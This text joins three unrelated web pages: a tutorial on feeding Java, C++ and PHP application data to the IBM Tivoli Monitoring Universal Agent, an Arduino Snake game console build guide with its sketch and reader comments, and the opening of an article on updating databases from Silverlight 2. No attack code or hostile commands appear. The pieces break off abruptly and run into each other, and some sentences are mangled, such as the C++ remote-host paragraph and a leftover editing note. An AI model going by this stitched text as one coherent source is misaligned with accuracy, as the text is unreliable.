Getting started on your integration to IBM Tivoli Monitoring
So you want to get started. Well, although there are many components that make up IBM Tivoli Monitoring (the presentation server, the management server, and universal agents), for the sake of connecting your application to IBM Tivoli Monitoring, all you have to do is integrate your application to the IBM Tivoli Monitoring universal agent (the generic IBM Tivoli Monitoring agent). In the following sections, we're going to talk about how to integrate your application to IBM Tivoli Monitoring Universal Agent.
We assume that you already have an IBM Tivoli Monitoring 6.1 environment deployed, including the monitoring universal agents. Check the Resources (make this an active link to section below) section for additional information.
IBM Tivoli Monitoring architecture
Figure: IBM Tivoli Monitoring 6.1 architecture
IBM produces several monitoring agents for the IBM Tivoli Monitoring infrastructure. This article focuses on using the Universal Agent, but IBM produces many other remote agents. For example, IBM Tivoli Composite Application Monitoring for WebSphere®, IBM Tivoli Monitoring for Databases, and Operating System monitoring agents.
Planning what to monitor
A typical retailer might want to monitor the following:
- Is my POS application running?
- Is my POS application running well?
- How many transactions are being processed (and how long does each one take)?
- Is the database responding quickly to requests?
Sometimes you simply want to know the value of an attribute - how many transactions are being processed? In most cases, you want to raise errors when certain things happen. For example, when the average response time exceeds two seconds or when the application is not running. When planning what to monitor, you must consider whether you are looking for information or for errors.
With error and event tracking, you must also plan event severities and responses. For example, if the application is not running, it is a critical error and there should be a response action to restart the application. If the database is running slowly, this is probably a minor event that does not require an immediate response.
In this article, we focus only on monitoring attributes of applications.
Planning how to monitor
The IBM Tivoli Universal Agent supports several different ways of collecting monitoring data. Data is collected for the Universal Agent using a data provider. The Universal Agent supports a wide variety of data providers.
Universal Agent data providers:
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Complete descriptions of all possible Universal Agent data providers are found in the "About data providers" section of the Tivoli Universal Agent User's Guide
Additionally, the WebSphere Remote Server team created a Java™ Management Extensions (JMX)-capable data provider called the WRS Data Provider. This data provider can directly query JMX servers for attribute and event data.
We recommend using the File, API, Socket data providers, and the WRS Data Provider for the following reasons:
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In each example, we assume the Universal Agent has been installed on the machine running the application. For information on installing the Universal Agent, see "Chapter 5 - Installing Tivoli Monitoring" of the IBM Tivoli Monitoring 6.1 Installation and Setup Guide. For the Java example, we also assume the WebSphere Remote Server (WRS) Data Provider has been installed as part of a WRS Solution. For more information on installing the WRS Solution, see the WRS 6.1 Infocenter
JMX monitoring
This section describes monitoring two Java applications with JMX and the WRS Data Provider.
Description of Java application
Company A has created a J2EE solution that runs on WebSphere Remote Server. The solution consists of two applications that process transactions for customers. Both applications are instrumented in JMX so that Company A can do remote monitoring of the applications.
Applications:
- Example 1: A standalone J2SE application that runs on POS terminals
- Example 2: A J2EE application with a Web interface that is accessed via kiosks
Company A will deploy their solution at a pilot store. For simplicity, the Java applications, as well as the WRS Data Provider and the Universal Agent, are deployed to the same machine.
Instrumenting the application for monitoring with JMX
(We assume you are familiar with the basics of JMX. If not, read the JMX tutorial from Sun Microsystems.)
Company A developers only have to make a few small changes to their application to use the power of JMX. For the pilot deployment of their application, they will only monitor summary statistics of recent transaction history. They create only one MBean, which will expose these statistics in a class called TransactionManager.
By JMX naming standards, the MBean interface for the TransactionManager class must be called TransactionManagerMBean. This interface must define all the methods Company A wants to expose via JMX. Company A chose four summary statistics to expose as read-only MBean attributes.
TransactionManagerMBean: MBean interface for TransactionManager
public interface TransactionManagerMBean { public long getTotalTransactions(); public long getTransactionsLastFifteenSeconds(); public long getTransactionsLastMinute(); public long getTransactionsLastHour(); }
Company A then modifies their TransactionManager class to implement the TransactionManagerMBean class. This forces them to implement methods that generate the four exposed summary statistics. In addition, Company A decides that they want to generate alerts every time the terminal processes a transaction. For this, they make TransactionManager extend the javax.management.NotificationBroadcasterSupport class. TransactionManager is now a legal MBean.
TransactionManager: MBean implementation
public class TransactionManager extends NotificationBroadcasterSupport implements TransactionManagerMBean{ ... public long getTransactionsLastHour() { return getTransactionsInInterval(60L * 60L * 1000L); } public long getTransactionsLastMinute() { return getTransactionsInInterval(60L * 1000L); } public long getTransactionsLastFifteenSeconds(){ return getTransactionsInInterval(15L * 1000L); } public synchronized long getTotalTransactions(){ return (long) this.transactions.size(); } /** In a real application, this would probably be a database lookup. */ private synchronized long getTransactionsInInterval(long interval){ ... } }
Now that Company A has created an MBean, they must register the MBean into an MBeanServer so that it is visible outside of the running Java Virtual Machine. There are two parts to registering MBeans into an MBeanServer:
- Get a connection to an MBeanServer.
- Register each MBean to that MBeanServer.
Company A creates generalized methods for each of these processes in a class called JMXUtils.
Most J2EE application servers come with a built-in MBeanServer. This MBeanServer is automatically initialized -- all your code has to do is get a reference to it. Company A put this code into a static initialization block within the JMXUtils class.
Referencing an existing MBeanServer
ArrayList servers = MBeanServerFactory.findMBeanServer(null); if (servers == null || servers.size() == 0) { throw new Exception("No MBeanServer found in this environment"); } MBeanServer server = (MBeanServer) servers.get(0);
Note that in a J2SE application, you can create your own MBeanServer. Code exercising this functionality is in the J2SE sample application in the Sample Code section.
When the MBeanServer has been initialized, you can register MBean objects within that server. To promote loose coupling, Company A places this code in a generalized initialization method within the application.
Registering an MBean to an MBeanServer
Object obj = TransactionManager.getTransactionManager(); server.registerMBean(obj, "Freedville:name=TransactionManager"); if (obj instanceof NotificationBroadcaster) { ((NotificationBroadcaster) obj) addNotificationListener(listener, null, null); }
With the addition of this code, Company A has created an MBean and exposed it to external applications. Now we will see an external application use the exposed MBean.
Integration with WRS Data Provider
Company A ultimately wants to integrate their applications with IBM Tivoli Monitoring. They read about how the Universal Agent can send data to IBM Tivoli Monitoring, and believe it is the right agent for their applications. Unfortunately, the Universal Agent does not natively support JMX data. They remember that WebSphere Remote Server comes with a utility called the WRS Data Provider, which bridges any JMX data source into the Universal Agent.
The WRS Data Provider allows you to specify any number of JMX data sources and attributes you want to monitor in IBM Tivoli Monitoring. It communicates with the Universal Agent via a custom socket protocol, and must be installed on the same system as the Universal Agent. Company A creates a WRS Data Provider configuration file specifying how to connect to their applications via JMX as well as which MBeans and attributes should be monitored. Company A also specifies that they want the alerts that are generated by their application to be forwarded to IBM Tivoli Monitoring.
A configuration file for the J2EE application (the J2SE sample is similar)
<WRSDataProvider> <application name="WAS" description="Kiosk POS application" JMXServerURL="service:jmx:iiop://localhost:2809/jndi/JMXConnector" collectionInterval="20000"> <events objectNameQuery="Freedville:*" /> <env key="java.naming.factory.initial" value="com.ibm.websphere.naming.WsnInitialContextFactory" /> <env key="java.naming.provider.url" value="iiop://jmxwas:2809" /> <env key="com.ibm.CORBA.ConfigURL" value="file:C:\Progra~1\IBM\WebSphere\AppServer\profiles\AppSrv01\ properties\sas.client.props" /> <env key="com.ibm.SSL.ConfigURL" value="file:C:\Progra~1\IBM\WebSphere\AppServer\profiles\AppSrv01\ properties\ssl.client.props" /> <attribute-group <objectNameComponents> <objectNameComponent name="name" displayname="MBean Name" description="Uniquely identifies an MBean" length="20" /> </objectNameComponents> <attributes> <attribute name="TotalTransactions" displayname="Total transactions" type="Numeric" /> <attribute name="TransactionsLastFifteenSeconds" displayname="Last 15 seconds" type="Numeric" /> <attribute name="TransactionsLastMinute" displayname="Last Minute" type="Numeric" /> <attribute name="TransactionsLastHour" displayname="Last hour" type="Numeric" /> </attributes> </attribute-group> </application> </WRSDataProvider>
The configuration file specifies several important entities:
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The WRS Data Provider also needs its classpath extended so it can download an RMI stub from the JMX server. Update the classpath in C:\Program Files\IBM\SIF\WRSDP\bin\setupCmdLine.bat or /opt/IBM/SIF/WRSDP/bin/setupCmdLine.sh.
Advanced: Running your applications on a different machine than the Universal Agent
In the wrsdp-config.xml file, you can specify JMXServerURL entries for remote machines. In any case, the WRS Data Provider must still run on the same machine as the Universal Agent.
Configuring the Universal Agent to monitor the Java applications
The WRS Data Provider configuration file must be saved to C:\Program Files\IBM\SIF\WRSDP\etc\wrsdp-config.xml or /opt/IBM/SIF/WRSDP/etc/wrsdp-config.xml.
Next run the import_metafiles.bat script (
C:\Program Files\IBM\SIF\WRSDP\bin\import_metafiles.bat or
/opt/IBM/SIF/WRSDP/bin/import_metafiles.sh), which generates Universal Agent metafiles for each of the Java applications and configures the Universal Agent to use these metafiles.
Finally, start the applications, and restart the WRS Data Provider (Windows Service WRSDataProvider or using start/stop scripts in /opt/IBM/SIF/WRSDP/bin). New entries will be available in the Tivoli Enterprise Portal. Click the Navigator Update Pending button and your application data will be visible under platform Systems->hostname->Universal Agent->hostname:JSE00, platform Systems->hostname->Universal Agent->hostname:JMX00, and platform Systems->hostname->Universal Agent->hostname:WAS00, where platform is Windows or Linux®, and hostname is the hostname of the system with the Universal Agent.
C++ monitoring
This section describes monitoring a C++ application with the Universal Agent API data provider.
Description of C++ application
Company B has created a C++ application that processes transactions for customers. Company B wants to do remote monitoring of the application, and has decided to extend the application for monitoring using the Universal Agent API data provider.
Instrumentation of the application for monitoring with the Universal Agent API
Company B developers only have to make a few small changes to their application to use the power of the Universal Agent. For the pilot deployment of their application, they will only monitor summary statistics of recent transaction history. Their application already maintains these statistics via a struct:
struct TransactionStatus { int Register_ID; int Min_Trans; int Max_Trans; int Ave_Trans; int Total_Trans; int Total_Count; int Input; };
Company B decides to install the Universal Agent on the same machine as their application, even though the Universal Agent supports API clients on remote systems.
The development team must add three segments of code to integrate their application with the Universal Agent:
- Connect to the Universal Agent
- Send data to the Universal Agent
- Disconnect from the Universal Agent
The following code was added to their application startup section, to connect to the Universal Agent:
include "KUMPAPI.h" .... do{ universalAgentHandle = dp_AllocateHandle(&API_Status); if (API_Status == KUMP_API_OK) { // Allocate DP buffer. Assumes 80 bytes maximum data dp_AllocateBuffer(universalAgentHandle, &WorkBuffer, 80, &API_Status); if (API_Status == KUMP_API_OK) { // Signal Data Provider that Data Input is ready. dp_BeginInput(universalAgentHandle,ApplicationName,AttrGroupName,&API_Status); if (API_Status == KUMP_API_OK) // Initialization complete. Begin data input. continue; else ; } else ; } else ; dp_ShowMessage(API_Status, NULL, 0); return(API_Status); }while (0);
The following code was added to their main application thread, to send data to the Universal Agent:
dp_ClearBuffer(WorkBuffer, &API_Status); dp_FormatBufferData(WorkBuffer, &Ts.Register_ID, sizeof(int), TypeIsNumeric, &API_Status); dp_FormatBufferData(WorkBuffer, &Ts.Max_Trans, sizeof(int), TypeIsNumeric, &API_Status); dp_FormatBufferData(WorkBuffer, &Ts.Min_Trans, sizeof(int), TypeIsNumeric, &API_Status); dp_FormatBufferData(WorkBuffer, &Ts.Ave_Trans, sizeof(int), TypeIsNumeric, &API_Status); dp_FormatBufferData(WorkBuffer, &Ts.Total_Trans, sizeof(int), TypeIsNumeric, &API_Status); dp_FormatBufferData(WorkBuffer, &Ts.Total_Count, sizeof(int), TypeIsNumeric, &API_Status); dp_InputData(WorkBuffer,&API_Status); if (API_Status == KUMP_API_OK) cout << "Finished sending data to API Data Provider.\n"; } else { dp_ShowMessage(API_Status,NULL,0); }
The following code was added to their application termination section, to disconnect from the Universal Agent:
dp_EndInput(universalAgentHandle,&API_Status); dp_FreeBuffer(WorkBuffer, &API_Status); dp_FreeHandle(universalAgentHandle, &API_Status);
Refer to the "Chapter 1 - API Introduction" and "Chapter 2 - API Descriptions" of the IBM Tivoli Monitoring 6.1 API and Command Programming Reference Guide (Guide link) for more information on the Universal Agent API.
The compilation process for the application must also be updated. The following files must be included in your compilation:
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Example (Linux): g++ -lkumpapi SortArray_API.cpp.
For Windows, C:\IBM\ITM\TMAITM6\KUMPAPI.DLL must be on your application's runtime path.
If the application is compiled on a machine without the Universal Agent, the aforementioned files must be copied from a Universal Agent to the compiling machine.
Creating the metafile
The metafile is a straightforward conversion of the summary statistic struct.
struct TransactionStatus{ int Register_ID; int Min_Trans; int Max_Trans; int Ave_Trans; int Total_Trans; int Total_Count; int Input; };
Metafile derived from the struct: SortArray_API.mdl
//APPL Inventory //NAME Transactions E 1200 //ATTRIBUTES ';' Register_ID D 32 Max_Trans_Amount D 32 Min_Trans_Amount D 32 Ave_Trans_Amount D 32 Total_Trans_Amount D 32 Total_Trans_Count D 32
Note: "1200" is the time-to-live (TTL) value. It's the time in seconds your monitored data is cached by the Universal Agent. The default TTL is 300 seconds. Make sure your application sends monitoring data to the Universal Agent at least as often as the TTL.
Refer to Chapter 3 - Creating an Application and Appendix A: Data Definition Control Statements of the IBM Tivoli Monitoring 6.1 Universal Agent User's Guide for more information about metafiles.
Advanced: Running your application on a different machine than the Universal Agent
In this configuration, you must create the system environment variable KUMP_API_DPAPI_HOST on the application machine to reference the Universal Agent machine.:INVENTORY00, where platform is Windows or Linux, and hostname is the hostname of the system with the Universal Agent.
Log monitoring
This section describes monitoring a PHP application via its log file with the Universal Agent File data provider.
Description of PHP application
Company C has created a PHP-based content management application to display their in-store catalog from a kiosk. Company C plans to monitor this in-store application remotely. This application has done a good job of logging all the warnings and errors in a log file.
Instrumentation of the application for monitoring with the Universal Agent API
Company C will configure the Universal Agent to monitor this application by parsing the log file and looking for error messages. The Universal Agent can easily implement this using the File data provider.
First, let's look at the log file. The log file uses a fixed column format, with a message severity, timestamp, category, and message.
Log file snippet
Message 2007-01-30-06.29.06 UserLogin D8765 logged in Message 2007-01-30-06.29.16 ProductAccess D8765 accessed product sku 1987 Message 2007-01-30-06.29.36 UserLogout D8765 logged out Error 2007-01-30-06.29.45 DBError Connect failed [/var/www/bijlani/lib/sql.php:108] Error 2007-01-30-06.29.46 UserLogin User Login Failed
No code is required to monitor a log file. Only a Universal Agent metafile is configured.
Creating the metafile
The metafile must specify the log file format and location for the File data provider.
Metafile for the log file: ContentMgmt.mdl
//APPL CONTENT-MGMT-PHP-APP //NAME APPLOG E //SOURCE FILE 'c:\bijlani\content-mgmt\log\app.log' tail //ATTRIBUTES ' ' LogEntryType D 16 Date D 20 LogEntryDesc D 16 LogEntryMsg Z 88
A metafile for monitoring files must specify some metadata about the monitored application and the format of the monitored data.
The first metadata is an "application" name specified with APPL. The APPL statement must
- Be the first line in the metafile
- Be used only once in the metafile
- Have a value that does not start with K
- Have a value unique across all metafiles
The next metadata is the name of the attribute group (attributes which are being extracted from the log file) and the data collection method, specified with the NAME statement. The name must be unique within the metafile. Company C's metafile uses the Event (E) data collection method, so data is collected in an asynchronous fashion.
Next is the SOURCE statement which specifies using the File data provider, as well as the file location reading method. Company C's metafile uses "tail" mode, which scans new lines at the end of the monitored file.
The final metadata is the data delimiter, specified in the ATTRIBUTES statement.
After the metadata is specified, the log file format must be described. Since the log file uses mostly fixed-width string fields, the description is straightforward. Each field must be given a name and type. The fixed-width string fields are specified with Display String (D) and a field size.
The log message itself is an unknown size, but always less than 88 bytes. The attribute type Last (Z) is used, to tell the Universal Agent to ignore delimiters for this field and to read until the end of the line. This is important because Company C's delimiter is a space, and it is nearly certain that the message itself will contain spaces.
Refer to "Chapter 3 - Creating an Application" and "Appendix A: Data Definition Control Statements" of the IBM Tivoli Monitoring 6.1 Universal Agent User's Guide for more information about metafiles.
Configuring the Universal Agent to monitor the PHP application log file
To start monitoring the log file, we only need to configure the Universal Agent to load our metafile.
-:CONTENT-MGMT-PHP-APP00, where platform is Windows or Linux, and hostname is the hostname of the system with the Universal Agent.
Monitoring the sample applications
More you can do with IBM Tivoli Monitoring
Now that you've got your application integrated to IBM Tivoli Monitoring and that data is now flowing into the presentation server (along with your other agents), there is where you can do some interesting things with the IBM Tivoli Monitoring. Although we won't cover them in this article, some of the things you can do are:
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IBM's Ready for Tivoli validation program
The IBM Ready for Tivoli validation program is a program for Independent Software Vendors (ISVs) to help showcase their integration to IBM Tivoli Monitoring. ISVs are highly encouraged to submit their solution to the Ready for Tivoli validation program. By completing the IBM Ready for Tivoli validation program, ISVs can gain valuable sales and marketing exposure and demonstrate to customers that their solution meets or exceeds IBM compatibility criteria and successfully integrates with IBM Tivoli Monitoring.
Some of the sales and marketing benefits
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Additional information on Ready for Tivoli validation
Please visit the Ready for IBM Tivoli software validation site for the process steps, enablement support, and a current copy of this document: Ready for Tivoli.
Also visit the IBM Tivoli Open Process Automation Library where Tivoli validated solution integration extensions are listed: Tivoli Open Process Automation Library.
Conclusion
IBM Tivoli Monitoring provides a way for you to remotely monitor your application. Before adding monitoring capability to your application, you need to decide what and how you want to monitor. There is no right answer for what to monitor. You must find a balance between monitoring so much information that monitoring itself creates a heavy load, and monitoring so little information that you cannot do anything with it.
IBM Tivoli Monitoring supports a wide range of methods for monitoring applications. We have recommended and demonstrated some of the most common integration methods. No matter what kind of application you have built, it can be integrated with IBM Tivoli Monitoring. And remember, to submit your solution to the IBM Ready for Tivoli validation program to gain important IBM sales and marketing benefits.
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Introduction: Snake.
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Step 1: What You Need...
Components:
- Arduino Uno (1) (sparkfun)
- ATmega328P Microcontroller (1) (sparkfun)
- MAX7219CNG (2) (sparkfun)
- 2.379" Bi-color dot matrix display (1) (sparkfun)
- Push buttons or tactile switch (7) (sparkfun)
- Buzzer (1)
- 5mm LED (5)
- Resistor (15)
- Capacitor (6)
- 165mm X 73mm PCB board
- IC base (optional)
- Li-ion battery (1) (sparkfun)
Tools:
- Soldering Iron & solder
- Glue gun
- PCB drill (for hand made pcb only)
Skills:
- Good soldering & prototyping skill is required
Arduino Uno is used to program ATmega328P. ATmega328P is the main microcontroller of Arduino Uno board and I used it alone for my project. For knowing how to use standalone ATmega328P you can follow "From Arduino to a Microcontroller on a Breadboard".
MAX7219CNG is used to drive dot-matrix display.. Details are available in the datasheet.
If you are new in soldering you can follow the instructable: How to solder - the secrets of good soldering
Sparkfun.com guide: How to Solder - Through-hole Soldering
Step 2: Circuit Design
The circuit is designed using Eagle Layout Editor and schematic file is attached. Four tactile switch S2-S5 is used to control UP, DOWN, LEFT & RIGHT control. Switch S6 & S7 is used for option menu and game selector. S1 is used here as reset switch of microcontroller. Resistors R4 - R9 is used as pull up resistor any value may be 10K - 100K. Five LED LED1 -LED5 is used for indicating the level for a game and the value of series resistors connected to LEDs should be 220ohm - 330ohm. As I used bi-color dot matrix display for that I used two MAX7219CNG driver IC. You can use RGB matrix and that time three driver IC will be required. Two resistors R1 & R2 is connected to the ICs for controlling the brightness of the matrix display.
Step 3: PCB Design
PCB is designed using Eagle and board layout is attached. You can design your own PCB or may designed it. I designed it for making my PCB using toner transfer method and for that I used 24mil trace size. For the top layer I used jumper wires because making two sided PCB using toner transfer method is not so easy but you may try it yourself. I tried to keep the board size comfortable for me but every one has his own choice.
Step 4: Programming the Console
To work the Arduino Sketch properly you need LedControl library attached in this step. I upload the complete Arduino Sketch for Snake Game of Nokia phone. You can develop your own game. To upload the sketch first add the library to your arduino environment, just upload the sketch to your arduino, remove the microcontroller from the board and put it to your game console. I will upload more game for the console in future. . Just it.
#include "LedControl.h" // connection to MAX7219 (data, clik, load, #of dispplay) LedControl lc = LedControl(11,13,10,1); // direction const int TOP = 0; const int RIGHT = 1; const int BOTTOM = 2; const int LEFT = 3; // Snake length const int MAX_SNAKE_LENGTH = 16; // Variables //Adafruit_8x8matrix matrix = Adafruit_8x8matrix(); // Display int direction = RIGHT; // direction of movement int snakeX[MAX_SNAKE_LENGTH]; // X-coordinates of snake int snakeY[MAX_SNAKE_LENGTH]; // Y-coordinates of snake int snakeLength = 3; int score = 3;// unsigned long prevTime = 0; // for gamedelay (ms) unsigned long delayTime = 500; // Game step in ms int fruitX, fruitY; unsigned long fruitPrevTime = 0; unsigned long fruitBlinkTime = 100; unsigned long bonusTime = 0; unsigned long bonusPrevTime = 0; int fruitLed = true; int bonusLed = true; int bonusX, bonusY; void setup(){ ////wake up the MAX72XX from power-saving mode lc.shutdown(0,false); //set a medium brightness for the Leds lc.setIntensity(0, 15); //Switch all Leds on the display off. lc.clearDisplay(0); Serial.begin(9600); randomSeed(analogRead(0)); pinMode(0,INPUT); //pinMode(17,INPUT); pinMode(1,INPUT); pinMode(2,INPUT); pinMode(3,INPUT); pinMode(4,INPUT); pinMode(5,INPUT); //buzzer pinMode(12,OUTPUT); snakeX[0] = 0; snakeY[0] = 4; for(int i=1; i<MAX_SNAKE_LENGTH; i++){ snakeX[i] = snakeY[i] = -1; } makeFruit(); } void loop(){ delay(10); checkButtons(); // if any button is pressed or not unsigned long currentTime = millis(); if(currentTime - prevTime >= delayTime){ nextstep(); prevTime = currentTime; } draw(); // make snack & food } void checkButtons(){ if(digitalRead(3)==0) direction = TOP; else if(digitalRead(4)==0) direction = RIGHT; else if(digitalRead(5)==0) direction = LEFT; else if(digitalRead(2)==0) direction = BOTTOM; } void draw(){ lc.clearDisplay(0); drawSnake(); drawFruit(); } void drawSnake(){ for(int i=0; i<snakeLength; i++){ lc.setLed(0,snakeX[i], snakeY[i], true); } } void drawFruit(){ if(inPlayField(fruitX, fruitY)){ unsigned long currenttime = millis(); if(currenttime - fruitPrevTime >= fruitBlinkTime){ fruitLed = (fruitLed == true) ? false : true; fruitPrevTime = currenttime; } lc.setLed(0,fruitX, fruitY, fruitLed); } } boolean inPlayField(int x, int y){ return (x>=0) && (x<8) && (y>=0) && (y<8); } void nextstep(){ for(int i=snakeLength-1; i>0; i--){ if((direction == RIGHT)&&(snakeX[0]-snakeLength == 7)) snakeX[0] = -1; else if((direction == LEFT)&&(snakeX[0]+ snakeLength == 0)) snakeX[0] = 8; else snakeX[i] = snakeX[i-1]; if((direction == TOP) && (snakeY[0]+snakeLength == 0)) snakeY[0]=8; else if((direction == BOTTOM) && (snakeY[0]-snakeLength == 7)) snakeY[0]=-1; else snakeY[i] = snakeY[i-1]; } switch(direction){ case TOP: snakeY[0] = snakeY[0]-1; break; case RIGHT: snakeX[0] = snakeX[0]+1; break; case BOTTOM: snakeY[0] = snakeY[0]+1; break; case LEFT: snakeX[0]=snakeX[0]-1; break; } if((snakeX[0] == fruitX) && (snakeY[0] == fruitY)){ snakeLength++; score++; tone(12,4500,50); if(snakeLength < MAX_SNAKE_LENGTH){ makeFruit(); } else { fruitX = fruitY = -1; } if(score%8==0) { snakeLength = 3; delayTime = delayTime - 100; } } snakeItSelf(); } void makeFruit(){ int x, y; x = random(0, 8); y = random(0, 8); while(isPartOfSnake(x, y)){ x = random(0, 8); y = random(0, 8); } fruitX = x; fruitY = y; } boolean isPartOfSnake(int x, int y){ for(int i=0; i<snakeLength-1; i++){ if((x == snakeX[i]) && (y == snakeY[i])){ return true; } } return false; } void snakeItSelf(){ // check if snack touch itself for(int i=1;i<snakeLength;i++){ if((snakeX[0] == snakeX[i]) && (snakeY[0] == snakeY[i])) gameOver(); } } void gameOver(){ // game over sound tone(12,1000,100); delay(100); tone(12,1500,200); delay(200); tone(12,2000,300); delay(300); tone(12, 494,500); delay(500); lc.clearDisplay(0); for(int r = 0; r < 8; r++){ for(int c = 0; c < 8; c++){ lc.setLed(0, r, c, HIGH); delay(50); }delay(50); } delay(300); score = 3; snakeLength = 3; direction = RIGHT; snakeX[0]=3; snakeY[0]=4; delayTime = 500; loop(); } void drawBonus(){ if(inPlayField(fruitX, fruitY)){ unsigned long bonusTime = millis(); if(bonusTime - bonusPrevTime >= 300){ bonusLed = (bonusLed == true) ? false : true; bonusPrevTime = bonusTime; } lc.setLed(0,bonusX, bonusY, bonusLed); } } void makeBonus(){ int x, y; x = random(0, 8); y = random(0, 8); while(isPartOfSnake(x, y)){ x = random(0, 8); y = random(0, 8); } bonusX = x; bonusY = y; }
Step 5: Assemble All the Things
Complete the PCB and assemble all the thing together. It is good practice to use IC base for prototyping board without soldering the IC directly to the PCB board. It remove the risk to burn the IC during soldering and create a way to remove IC any time without de-soldering.
Step 6: Complete Game Console
Image of my complete game console is uploaded, I apologize for the quality of the image. All images are taken by my smart phone.
Step 7: Specification
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This is a really neat project. Two things. You said, "I will upload more game for the console in future." Have you made any more games for it? Also you posted a link to a video in the comments but that video is unavailable. Is there a video of this project that works? Thanks.
a good project
Q1 is the crystal (xtal). If its based on an UNO then 16Mhz
This is awesome little project to make! i might even make a shell for it.
hey! any idea what Q1 in bottom left corner stands for?
Hello! What is Q1 in the bottom left corner of the circuit design? There are no directions for transistors and I seem to be missing whatever Q1 entails. Please elaborate on this function and what it is. Also is it important to use ceramic capacitors?
It's a awesome project !!
Do you have any tips if I were to use four separate breadboards instead of one big one? I do not have the ability to make one, so instead I am going to connect four of the Perma-Proto 1/2 sized breadboards.
May be used. It is your creativity which one you will use.
Hey thanks for the awesome tutorial. Just wondering what value of capacitors do you use? Thanks! | http://www.instructables.com/id/Arduino-Dot-Matrix-Game-Console/ | CC-MAIN-2018-13 | en | refinedweb |
This API is used to convert codepage or character encoded data to and from UTF-16. You can open a converter with ucnv_open(). With that converter, you can get its properties, set options, convert your data and close the converter.
Since many software programs recogize different converter names for different types of converters, there are other functions in this API to iterate over the converter aliases. The functions ucnv_getAvailableName(), ucnv_getAlias() and ucnv_getStandardName() are some of the more frequently used alias functions to get this information.
When a converter encounters an illegal, irregular, invalid or unmappable character its default behavior is to use a substitution character to replace the bad byte sequence. This behavior can be changed by using ucnv_setFromUCallBack() or ucnv_setToUCallBack() on the converter. The header ucnv_err.h defines many other callback actions that can be used instead of a character substitution.
More information about this API can be found in our User's Guide.
Definition in file ucnv.h.
#include "unicode/ucnv_err.h"
#include "unicode/uenum.h"
Go to the source code of this file. | http://icu.sourcearchive.com/documentation/4.2.1/ucnv_8h.html | CC-MAIN-2018-13 | en | refinedweb |
I have completed my first C++ program I am just unsure what I have done incorrectly for the 'average' portion of the program. I am not getting the correct answers. I would appreciate any help and/or suggestions.
ThanksThanksCode:// Math Program - provides quick calculations to basic math problems #include <cstdio> #include <cstdlib> #include <iostream> using namespace std; // Function for factorial long factorial (long a) { if (a > 0) return (a * factorial (a-1)); else return (1); } int main() { for (int i=1; ; i++) { // Header to program cout << "********************************************************************************" << endl; cout << "********************************* Math Program *********************************" << endl; cout << "********************************************************************************" << endl << endl; cout << "Please choose from the following options" << endl; cout << endl << "1-Factorial" << endl; cout << "2-Slope of a line" << endl; cout << "3-Average of unlimited numbers" << endl; cout << "4-Area of different geometries"; cout << endl << endl << "Selection: "; int choice; cin >> choice; cout << endl; // Decide which choice to run long number; if (choice == 1) { // Enter a number and call factorial() to provide answer cout << endl << "Please type a number: "; cin >> number; if(number < 0) { cout << "Enter a positive integer!..." << endl <<endl; } else { cout << number << "! = " << factorial (number) << endl << endl; } } else if (choice == 2) // Enter coordinates and calculuates slope to provide answer { double x1,x2,y1,y2; double slope; << endl <<endl; } else if( choice == 3) { // "Loops forever" for(int count = 1;;count ++) { double value; double average; double accumulator=0; // Determine whether count is 1 or greater if(count == 1) { cout << "Enter first value: "; } else { cout << "Enter next value or enter 0 to exit: "; } cin >> value; // If value is 0... exit if (value == 0) { // ...then average and then exit cout << "The average is: " << average << endl; break; } else { accumulator = accumulator + value; average = accumulator/count; } } } // Finds the area of various geometries else if (choice == 4) { // Choose a geometry int selectGeo; cout << "Select a geometry: " << endl << endl; cout << "1-Square" << endl; cout << "2-Rectangle" << endl; cout << "3-Triangle" << endl; cout << "4-Circle" << endl << endl; cout << "Selection: "; cin >> selectGeo; cout << endl << endl; // Determines area of square if (selectGeo==1) { cout << "What is the length of one side: " << endl; double areaSquare; double lengthSquare; cin >> lengthSquare; areaSquare = lengthSquare*lengthSquare; cout << "The area of the square is " << areaSquare << " units squared." << endl << endl; } // Determines area of rectangle else if (selectGeo==2) { cout << "What is the length: "; double areaRectangle; double lengthRectangle; double widthRectangle; cin >> lengthRectangle; cout << endl << "What is the width: " << endl; areaRectangle = lengthRectangle * widthRectangle; cin >> widthRectangle; cout << "The area of the rectangle is " << areaRectangle << " units squared." << endl << endl; } // Determines area of triangle else if (selectGeo==3) { cout << "What is the base length: "; double baseTriangle; double heightTriangle; double areaTriangle; cin >> baseTriangle; cout << endl << "What is the height length: "; cin >> heightTriangle; areaTriangle = (0.5*baseTriangle)*(heightTriangle); cout << "The area of the triangle is " << areaTriangle << " units squared." << endl << endl; } // Determines area of circle else if (selectGeo==4) { cout << "What is the radius of the circle: "; double radiusCircle; double areaCircle; cin >> radiusCircle; areaCircle = 3.14*(radiusCircle*radiusCircle); cout << "The area of the circle is " << areaCircle << " units squared." << endl << endl; } // Informs user selection is invalid else { cout << "INVALID SELECTION!!!" << endl << endl; } } else // Informs user that input is not recognized by program { cout << "INVALID SELECTION!!!" << endl << endl; } } // Wait for user to respond to quit program system ("pause"); return 0; } | http://cboard.cprogramming.com/cplusplus-programming/116592-basic-cplusplus-program-help.html | CC-MAIN-2015-48 | en | refinedweb |
This article demonstrates a method of updating databases from a Silverlight 2 application.
With the recent Silverlight 2 Beta 2 release, it has become easier to access and manipulate database data. Since Silverlight applications cannot directly access local resources, data access is provided through web services such as Windows Communications Foundation (WCF) or ASMX. There are many examples demonstrating how to read data and populate data objects, but very few that provide any facility to write changes back to the data source.
One example found here uses ADO.NET Data Services (Astoria), which is still in development.
The other solution, found here, uses LINQ, and makes a copy of the original data. It sends both the original and modified sets of data back to the server when updating. So, if you have 50 rows of data, you are sending up to 100 rows back. While this approach works, I didn't like the idea of sending so much data if you only wanted to make a few changes. The page includes a video, and the source is definitely worth looking at.
This article demonstrates a method of updating database data by only sending changes back. It assumes some basic Silverlight 2 operations knowledge, such as calling a web service and binding data to a control. The article 'My First Silverlight Data Project' provides a good introduction to these operations. Another resource is the Silverlight Getting Started page.
The source was written using C# in Visual Studio 2008 and Silverlight 2 Beta 2.
The attached source solution contains five projects:
UpdateChanges
DataGrid
Before running the samples, change the path in DataWebService to point to the included Northwind database MDF file. This is the standard Northwind sample database with an additional testtable table. This table contains most SQL data types, and is useful in testing the various types, and also shows how the Silverlight grid treats them.
The solution has two main parts: tracking changes made in the Silverlight application, and submitting the changes to update the database.
When adding a Web service reference to a Silverlight project, VS 2008 will generate proxy classes. These classes are based on the classes exposed through the service. So, if the service contains objects that use the Customer object, a corresponding Customer proxy object is created on the Silverlight side. These proxy classes are hidden, but you can view them by selecting the Show All Files button in Solution Explorer. They are stored in the Reference.cs file, one for each service.
Customer
